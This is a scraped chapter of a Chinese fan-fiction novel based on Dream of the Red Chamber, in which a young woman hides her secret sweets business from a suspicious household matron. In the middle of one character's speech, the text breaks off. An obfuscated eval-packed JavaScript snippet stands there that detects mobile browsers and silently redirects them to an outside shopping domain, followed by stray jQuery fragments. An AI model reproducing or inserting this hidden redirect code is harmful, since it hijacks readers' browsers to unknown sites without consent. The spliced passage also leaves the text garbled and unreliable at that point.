文趣网 > 其他小说 > 【红楼】金玉厨满堂 > 37. 雨中生变,巧掩踪迹
    冷雨连绵下了整整一夜,第二日天色依旧阴沉沉的,不见半分日光。

    青石板路上积着浅浅雨水,踩上去冰凉湿滑,大观园各处游廊之下,都摆上了炭盆烘着潮气。

    王二得了钱婆子吩咐,天不亮便守在了沁香阁后街的屋檐之下。

    昨日撞见荣国府采买婆子苏嫂子进出后门,他不敢有半分松懈,裹紧一件破旧蓑衣,缩在墙角,眼睛一瞬不瞬盯着铺子那道窄小后门,一心等着再次撞见苏嫂子,拿到她传递物件的确凿证据。

    沁香阁之内,老板娘心底已然生出一丝不安。

    近两日街上总晃荡着一个衣衫破烂的闲汉,整日在后门附近徘徊不走,眼神总是往铺子后门瞟,一看便是刻意蹲守。老板娘久经市井,心思敏锐,隐隐察觉不对劲。趁着上午客人稀少,悄悄写了一张小字条,托相熟的挑夫,绕远路送往城郊小院,提醒张嬷嬷行事加倍小心。

    城郊小院,张嬷嬷收到字条,心里骤然一紧。

    她连忙关好院门,拉严所有窗上厚布,叮嘱儿子:“今日暂时停工,不要生火熬酱烘焙,所有做好的礼盒全部收进里屋,千万不要露出半点动静。”

    整个小院瞬间沉寂下来,连柴火都不再点燃,只剩下满屋静静摆放的木盒。

    梨香院里,苏嫂子按照原定计划,本该今日午后再进城前往沁香阁,对接调整之后的供货清单。

    出发之前,她先依照规矩,托门房小丫鬟悄悄递了一句口信进梨香院,问今日是否照旧去往沁香阁传信。

    小丫鬟把话带到屋内。

    薛令微听完,指尖轻轻叩着桌沿,心头升起一股强烈的不安。

    接连两日阴雨,偏偏王二昨日刚好撞见苏嫂子出入铺子后门。这个时候再让苏嫂子前去,极有可能直接落入对方圈套,被当场拿住把柄。一旦被人亲眼看见府里采买婆子专门与沁香阁密谈,百口莫辩。

    “万万不可再去沁香阁。”薛令微当即决断,转头吩咐春纤,“立刻传口信出城,告知苏嫂子,今日不要靠近沁香阁半步。原先要传递的供货安排,拆成两句简单暗语,托另外一个常去南城采买干果的婆子,装作随意采买,捎给沁香阁老板娘。叮嘱老板娘,近几日不要再接收来自荣国府的任何人私下传信。”

    春纤不敢耽搁,即刻出去安排传话。

    南城街头,雨丝依旧绵绵飘洒。

    王二依旧死守在沁香阁后街,从晌午等到未时,又等到申时。

    眼看着日头一点点往西沉,街上来往行人渐渐稀少,始终没有再见到昨日那名采买婆子的身影。

    他冻得浑身发僵,手脚冰凉,心里不由得暗暗焦躁。难道那婆子察觉到了风声,今日不来了?

    又苦等一个时辰,街上店铺陆续上灯,雨越下越密。

    王二知道再等下去也是徒劳,只得跺了跺冻僵的脚,匆匆离开后街,赶回荣国府外去找钱婆子回话。

    “守了整整一日,再也没见到那府里的采买婆子。只铺子里伙计照常进出,并无异样。”

    钱婆子听完,脸色顿时沉了下去。

    “莫非走漏了风声?对方刻意避而不出?”

    她万万没想到,仅仅只是昨日惊鸿一瞥,对方竟如此警觉,直接斩断了往来。

    手里只有昨日雨中匆匆一眼的见闻,既没有信件,也没有银钱交接,更抓不到薛令微半分直接关联。拿着这样一点似是而非的线索去禀报邢夫人,非但定不下罪名,反倒会落一个捕风捉影无事生非的过失。

    钱婆子踌躇片刻,低声对王二说道:

    “你暂且不必日日死守后街。隔一日去看上一回即可。另外,你去城中牙行打听,最近有没有人暗中租铺面,预备开点心蜜饯铺子。若是有隐秘置办吃食生意的动静,速速回来禀报。”

    既然抓不到府内婆子传信的实据,她便打算换一个方向探查,追查货品流通的去向。

    王二点头领命,揣着铜钱转身离去。

    雨势到夜里渐渐小了,只是寒气愈发深重。

    梨香院之内,薛令微并未因为暂时躲过一劫而放松心神。

    今日刻意取消苏嫂子赴约,只能暂缓危机,并不是长久之计。邢夫人疑心已起,绝不会轻易就此罢休。

    想要彻底化解眼下困局,两件事迫在眉睫。

    其一,加快把订单分流给另外两家礼盒老店,逐步减少沁香阁的供货,慢慢切断这条极易暴露的线索;

    其二,尽快寻到可靠掌柜,开设属于自己独立的隐秘食铺,不再假借别家铺子代销。

    她铺开一张素笺,提笔写下往后产业布局的几条规划。

    短期:只做定制礼盒、蜜饯酱菜,不做堂食,降低铺面日常人流带来的风险;

    中期:拓展节庆礼盒、养生花膏、佐餐小菜,打通城中官宦内宅供货渠道;

    长期:待站稳脚跟之后,再寻一处雅致地段,开设精致小食雅馆,形成完整的美食生意脉络。

    写完之后,她将笺纸折好,用油纸裹住,准备第二日托人送出城外交给张嬷嬷。

    正伏案思索,院外传来丫鬟轻柔的通报声。

    “姑娘,蘅芜苑差丫鬟过来,请姑娘过去坐坐,宝姑娘备好了热茶,还有府里小厨房试做出来的几罐蜜饯,请姑娘过去一同尝尝口味。”

    薛令微微微一顿。

    昨日送去的简易方子,小厨房竟然这么快就把蜜饯熬制完成了。

    “知道了,取一件披风随我过去。”

    一路穿过湿漉漉的游廊,不多时便踏入蘅芜苑。

    屋内燃着暖炭,驱散满屋湿冷之气。

    案头摆放着三只小小的白瓷罐,正是依照她给的方子熬出来的桂花金橘、糖渍佛手、青梅酱。

    宝钗见她进门,起身含笑招呼落座。

    “妹妹来得正好,小厨房依照方子试熬了三罐蜜饯,只是火候拿捏不好,味道比起上次妹妹送来那罐,差了不少。”

    说着拿起银匙舀了一点青梅酱。

    酱体浓稠,甜味厚重,梅香极淡,完全没有小院出品那般清爽幽润。

    薛令微浅尝一口,心中了然。

    她当初写方子时刻意隐去了慢收汁水、分次加糖的关键细节,府里厨子只按着字面用料熬煮,自然复刻不出原本的味道。

    “厨下平日做惯重糖重味吃食,一时很难拿捏清淡的分寸,多试几次,或许能稍稍好些。”

    宝钗轻轻放下银匙,轻轻叹了一口气,眉宇间带着化不开的愁绪。

    “就算味道能调好,也只是一点吃食小技罢了。”她望向窗外烟雨朦胧的庭院,轻声开口,“近日母亲日日忧心家中光景,哥哥在外依旧肆意游荡惹祸。薛府一日不如一日,寄居在贾府,终究是悬在半空,进退两难。前些日子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761965|209609||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,姨妈也隐约提起我与宝玉的婚事……”

    说到此处,宝钗话音微微一顿,眼底掠过一丝茫然、苦涩。

    金玉良缘,满城皆知,可她心中何尝不知,这段姻缘从一开始便藏着无数隐患。贾府繁华之下危机暗伏,一旦日后大厦倾塌,这场婚事只会将她一同拖入泥沼。

    只是身为女子,礼教束缚,家族裹挟,她根本无从反抗。

    薛令微看着她落寞侧影,心中暗下决心。

    一定要赶在婚事彻底敲定之前,攒够足够财力,铺好后路,给宝钗一个不一样的选择。

    只是这话万万不能明言,只能柔声宽慰。

    “世事尚有变数,姐姐不必过早将自己困定一处。凡事且慢慢观望,未必就没有别的出路。”

    宝钗勉强笑了一笑,只当是善意的安慰,并未往深处多想。

    两人又闲谈诗书片刻,薛令微便起身告辞,返回梨香院。

    接下来两日,城内细雨停歇,天色稍稍放晴。

    张嬷嬷遵照指令,慢慢将一部分年节礼盒订单转移给另外两家老牌果匣商号。货品交接全部改在城郊僻静路口,不再经由沁香阁后门出入。沁香阁的供货量逐日递减,对外只推说作坊产量不足。

    与此同时,寻访掌柜一事也有了一点眉目。

    城郊集镇上,有一名姓廖的中年妇人,丈夫早年病逝,无儿无女,孤身一人,一手糕点手艺极好,为人沉默谨慎,无亲族牵绊,只是缺少本钱开店,常年靠着给镇上大户人家做节庆点心勉强糊口。

    张嬷嬷派人悄悄接触了廖娘子,许诺给她丰厚月钱,若是愿意隐名充当铺面掌柜,日后生意盈利还可分得红利。

    廖娘子一时不敢贸然应允,说需要三日仔细斟酌,再给答复。

    消息传回梨香院,春纤脸上露出几分喜色。

    “若是这位廖娘子愿意出面,咱们就有了可以抛头露面打理铺面之人!”

    薛令微却依旧不敢掉以轻心。

    “先不急着欢喜。三日之内,让张嬷嬷暗中多打听一番廖娘子过往行事,确认她口舌严谨,不会轻易向外泄露内情,再做定夺。越是到紧要关头,越是不能行差踏错。”

    就在产业布局缓缓推进之时,邢夫人那边也没有闲着。

    钱婆子按照之前的吩咐,让王二在牙行四处打探新开铺面的消息。

    这一日傍晚,王二匆匆赶来回话。

    “牙行那边传出消息,近日有人悄悄托人打听城中铺面,打算开一间专卖精致蜜饯茶点的铺子,出价十分阔绰,只是不肯透露东家姓名!”

    钱婆子眼睛猛地一亮。

    隐秘置办点心铺面!

    这不正好对上了城外小院暗中做吃食生意的传闻!

    她不敢耽搁,连夜进内院,把这件事原原本本禀报给了邢夫人。

    邢夫人手指紧紧攥住暖炉,眸色沉沉,嘴角勾起一抹冷意。

    “果然!不肯显露东家身份,偷偷置办点心铺面,分明就是心中有鬼!

    你吩咐下去,盯紧所有正在洽谈的铺面,一旦定下地址,立刻报于我知晓!只要铺面一开,顺着铺面追查账目货源,我看她还如何遮掩!”

    一张新的大网,已然朝着还在筹划之中的隐秘食铺,缓缓笼罩而来。

    一边是刚刚寻到合适掌柜的曙光,一边是邢夫人愈发精准的探查。